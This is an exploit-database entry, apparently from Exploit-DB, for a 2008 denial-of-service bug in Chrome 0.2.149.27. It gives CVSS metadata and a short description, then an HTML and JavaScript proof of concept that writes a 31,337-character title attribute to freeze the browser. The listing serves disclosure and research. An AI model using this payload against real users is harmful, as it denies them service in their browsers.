Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit

vendor:

Chrome

by:

Exodus

7.5

CVSS

HIGH

Remote Denial-of-Service

CWE

Product Name: Chrome

Affected Version From: 0.2.149.27

Affected Version To: 0.2.149.27

Patch Exists: NO

Related CWE: N/A

CPE: a:google:chrome

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit

Google Chrome is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input. Attackers can exploit this issue to make the application unresponsive, denying service to legitimate users. Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration.

Mitigation:

Ensure that user-supplied input is properly validated and filtered.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/30975/info

Google Chrome is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.

Attackers can exploit this issue to make the application unresponsive, denying service to legitimate users.

Google Chrome 0.2.149.27 is vulnerable; other versions may also be affected.

NOTE: Reports indicate that this issue may not be exploitable as described and may depend on a particular WebKit configuration. 

<!-- Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit Exploit written by Exodus. http://www.blackhat.org.il http://www.blackhat.org.il/index.php/ready-set-chrome/ http://www.blackhat.org.il/exploits/chrome-freeze-exploit.html --> <HTML> <HEAD> <TITLE> Chrome(0.2.149.27) title attribute Denial of Service(Freeze) exploit</TITLE> <SCRIPT language="JavaScript"> function buff(len) { var buffer; for(var i = 0; i != len; i++) { buffer += 'E';} return buffer; } </SCRIPT> </HEAD> <SCRIPT> document.write('<body title=\"' + buff(31337) + '\">'); </SCRIPT> </BODY> </HTML>